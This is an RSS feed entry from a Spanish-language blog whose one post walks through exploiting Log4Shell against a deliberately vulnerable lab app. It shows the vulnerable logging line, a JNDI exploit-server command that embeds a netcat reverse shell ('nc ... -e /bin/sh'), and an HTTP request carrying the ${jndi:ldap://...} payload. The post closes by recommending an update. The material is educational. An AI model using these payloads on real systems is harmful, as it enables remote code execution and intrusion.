<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux on devcodenote.gitlab.io</title><link>https://devcodenote.gitlab.io/categories/linux/</link><description>Recent content in Linux on devcodenote.gitlab.io</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Sat, 07 Jun 2025 10:30:00 -0600</lastBuildDate><atom:link href="https://devcodenote.gitlab.io/categories/linux/index.xml" rel="self" type="application/rss+xml"/><item><title>Acerca de log4shell</title><link>https://devcodenote.gitlab.io/posts/acerca-de-log4shell/</link><pubDate>Sat, 07 Jun 2025 10:30:00 -0600</pubDate><guid>https://devcodenote.gitlab.io/posts/acerca-de-log4shell/</guid><description>&lt;img src="https://devcodenote.gitlab.io/images/ace1c5899b23dc855876d6112b119c70a086b6c3696d7c36e5b5fc90300c8635d746d5c23d88c1bf4f2097b42602334d82ed4d42026256a53e82f48f2908e1d0.png" alt="Featured image of post Acerca de log4shell" />&lt;p>log4shell es una falla en Apache Log4j que permite que atacantes puedan ejecutar comandos maliciosos desde servidores LDAP maliciosos, esta vulnerabilidad en sus principios fue un 0 day y debido a que log4j se encuentra en muchas aplicaciones como minecraft, Struts2, Flink entre otros su impacto ha sido muy grande.&lt;/p>
&lt;h3 id="como-funciona">Como Funciona?
&lt;/h3>&lt;p>Para esta vulnerabilidad en forma de prueba de concepto existe en github una aplicación vulnerable &lt;a class="link" href="https://github.com/christophetd/log4shell-vulnerable-app" target="_blank" rel="noopener"
>https://github.com/christophetd/log4shell-vulnerable-app&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>git clone https://github.com/christophetd/log4shell-vulnerable-app.git
docker run --name vulnerable-log4 -p 8081:8080 ghcr.io/christophetd/log4shell-vulnerable-app
&lt;/code>&lt;/pre>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/1d851fb4f2c85bf3e0498b263832fa16012931205a239a371f42cefc5ec6ca576036b9915ebd7849c48426f3c069cdcbb5b54bf2455dc724602eaca20ae1eb6c.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>una vez descargado vamos analizar el código para ver en qué forma puede ser vulnerable&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/ace1c5899b23dc855876d6112b119c70a086b6c3696d7c36e5b5fc90300c8635d746d5c23d88c1bf4f2097b42602334d82ed4d42026256a53e82f48f2908e1d0.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>La parte que nos interesa es:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">@GetMapping&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">public&lt;/span> String &lt;span style="color:#a6e22e">index&lt;/span>(&lt;span style="color:#a6e22e">@RequestHeader&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;X-Api-Version&amp;#34;&lt;/span>) String apiVersion) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> logger.&lt;span style="color:#a6e22e">info&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Received a request for API version &amp;#34;&lt;/span> &lt;span style="color:#f92672">+&lt;/span> apiVersion);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Hello, world!&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Y en especial esta ya que es la parte vulnerable :&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>logger.&lt;span style="color:#a6e22e">info&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Received a request for API version &amp;#34;&lt;/span> &lt;span style="color:#f92672">+&lt;/span> apiVersion);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>después vamos a necesitar un servidor LDAP que nos permita ejecutar los comandos &lt;a class="link" href="https://github.com/welk1n/JNDI-Injection-Exploit" target="_blank" rel="noopener"
>https://github.com/welk1n/JNDI-Injection-Exploit&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>java -jar JNDI-Injection-1.0-SNAPSHOT-all.jar -C &amp;#34;nc 172.17.0.1 4444 -e /bin/sh&amp;#34;
nc -lvp 4444
&lt;/code>&lt;/pre>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/8b704fcf71dbb7ed35fde12e48b6702579dcea428aba4300bca4b2b8121304bec29426740971334b5fd1d2f67a0556bbd8e2256f623cffd925fceba73caaefed.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>Solo hacemos un http request con el header X-Api-Version y con la dirección que nos proporcionó JNDI Injection&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">GET&lt;/span> / &lt;span style="color:#66d9ef">HTTP&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">192.168.1.141:8081&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>X-Api-Version&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">${jndi:ldap://172.17.0.1:1389/zlrpms} &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Language&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">en-US,en;q=0.5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">gzip, deflate&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">close&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade-Insecure-Requests&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/d95ee3cf726654238c8d22e1bd33dc9ef77e30f140abd9200f28397d0bd713247747c1f2aa70d503c237969780ceac41b9e8311108044fc84c960710c28433f4.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>&lt;img src="https://devcodenote.gitlab.io/images/40068b8357a248e64f7103c590e433798614cc565f55a3d07a81a5ef5dbc868bac37cb6cc696f2495e53719253fe2ed82070cfa31e6b09ae7e8ada788d881be5.png"
loading="lazy"
alt="Name"
>&lt;/p>
&lt;p>debido a que la vulnerabilidad ya se encuentra arreglada en las nuevas versiones de Log4j solo queda actualizar.&lt;/p></description></item></channel></rss>